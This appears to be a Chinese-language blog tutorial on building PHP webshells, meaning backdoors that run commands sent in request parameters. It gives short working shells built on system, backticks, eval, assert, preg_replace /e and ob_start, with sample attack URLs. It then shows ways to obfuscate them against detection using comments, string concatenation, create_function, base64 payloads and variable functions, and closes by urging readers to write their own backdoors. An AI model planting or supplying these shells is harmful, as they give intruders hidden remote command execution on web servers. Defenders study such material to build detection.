0x1 原理 1、執(zhí)行系統(tǒng)命令的函數(shù) proc_open, popen, exec, shell_exec,passthru,system 這里只給出兩個(gè)例子,其他的可以查看php手冊(cè)編寫 system() ? php system($_GET[‘input’]); ? http://192.168.247.133:81/shell.php?input=dir “執(zhí)行命令 “執(zhí)行命令等…
0x1 原理
1、執(zhí)行系統(tǒng)命令的函數(shù)
proc_open, popen, exec, shell_exec,passthru,system
這里只給出兩個(gè)例子,其他的可以查看php手冊(cè)編寫
system()
- <?php
- system($_GET[‘input’]);
- ?>
http://192.168.247.133:81/shell.php?input=dir
““”執(zhí)行命令
“執(zhí)行命令等價(jià)于shell_exec()函數(shù)來執(zhí)行命令。
- <?php
- echo`$_GET[input]`;
- ?>
http://192.168.247.133:81/shell.php?input=dir
再來個(gè)更短的
- <?=@`$_GET[c]`?>
http://192.168.247.133:81/shell.php?c=dir
注:這個(gè)要開啟short_open_tag的,不過默認(rèn)為on
2、可以執(zhí)行代碼的函數(shù)
eval() 函數(shù)把字符串按照PHP 代碼來計(jì)算,該字符串必須是合法的PHP 代碼,且必須以分號(hào)結(jié)尾。
- <?php
- eval($_GET[‘input’]);
- ?>
正則表達(dá)式
Preg_replace函數(shù)的作用是用來執(zhí)行常規(guī)表達(dá)式的查找和替換的,Mixed preg_replace(mixed pattern, mixed replacement, mixed subject,int limit, int &count)其中,Pattern是用來查找的常規(guī)表達(dá)式,replacement是用來替換的字符串,submit是要查找替換的字符串,limit是可以替換的字符串?dāng)?shù),count是成功替換的數(shù)目。函數(shù)將返回替換后的字符串,當(dāng)Pattern參數(shù)使用/e修正符時(shí),preg_replace函數(shù)會(huì)將replacement參數(shù)當(dāng)作PHP代碼執(zhí)行。
- <?php
- preg_replace(“//e”,$_GET[‘input’],”qingsh4n”);
- ?>
assert()
assert這個(gè)函數(shù)在php語言中是用來判斷一個(gè)表達(dá)式是否成立。但是其字符串參數(shù)會(huì)被執(zhí)行。
- <?php
- assert($_GET[‘input’]);
- ?>
ob_start()
- <?php
- $foobar =$_GET[‘input1’];
- ob_start($foobar);
- echo$_GET[‘input2’];
- ob_end_flush();
- ?>
http://192.168.247.133:81/shell.php?input1=system&input2=dir
更多的函數(shù)需要同志們?nèi)ネ诰颉?/p>
0x2 如何混淆
1、注釋/**/
- <?php
- assert/**/($/**/{“_GET”}[‘input’]);
- ?>
2、連接號(hào)
php中“.”為字符串連接符號(hào)
- <?php
- $var =”a”;
- $var .=”ss”;
- $var .=”er”;
- $var .=”t”;
- $var($_GET[‘input’]);
- ?>
注:測(cè)試時(shí)發(fā)現(xiàn),echo()、eval()等函數(shù)無效。
3、創(chuàng)建函數(shù)
create_function() 創(chuàng)建一個(gè)匿名函數(shù)
- <?php
- $foobar =$_GET[‘input’];
- $dyn_func =create_function(‘$qingsh4n’, “echo $foobar;”);
- $dyn_func(”);
- ?>
5、編碼函數(shù),base64等
- <?php
- assert(base64_decode(‘ZXZhbCgkX0dFVFsnaW5wdXQnXSk7’));
- ?>
注:其他的編碼函數(shù)有g(shù)zinflate()、gzuncompress()、gzdecode()、str_rot13()等,可以查看php手冊(cè)編寫。
6、可變函數(shù)
PHP 支持可變函數(shù)的概念。這意味著如果一個(gè)變量名后有圓括號(hào),PHP 將尋找與變量的值同名的函數(shù),并且嘗試執(zhí)行它。
- <?php
- $dyn_func =$_GET[‘dyn_func’];
- $argument =$_GET[‘argument’];
- $dyn_func($argument);
- ?>
如果register_globals=on時(shí),代碼可以改為如下形式:
- <?php
- $input1($input2);
- ?>
http://192.168.247.133:81/shell.php?input1=system&input2=dir
注:同樣可以利用call_user_func()、array_walk()等函數(shù)
0x3 編寫自己的webshell
通過上面的知識(shí),可以任意組合上面寫到的代碼執(zhí)行和混淆技術(shù),編寫屬于自己的php后門應(yīng)該是順手拈來的事,如果誰有好的發(fā)現(xiàn)或者是奇淫技巧記得告訴我。最后附上酷殼上面關(guān)于hello world的6種變態(tài)寫法,也許在這里面會(huì)找到些許靈感。
0x4 參考
http://www.php.net/
http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html#sec22
http://www.t00ls.net/viewthread.php?tid=18951
http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63
http://h.ackack.net/tiny-php-shell.html
http://www.rising.com.cn/newsletter/news/2012-06-27/11810.html
ps:本來想好好寫完的,但是看到moyer牛那篇文章后,一下子感覺寫的這些都蒼白無力了。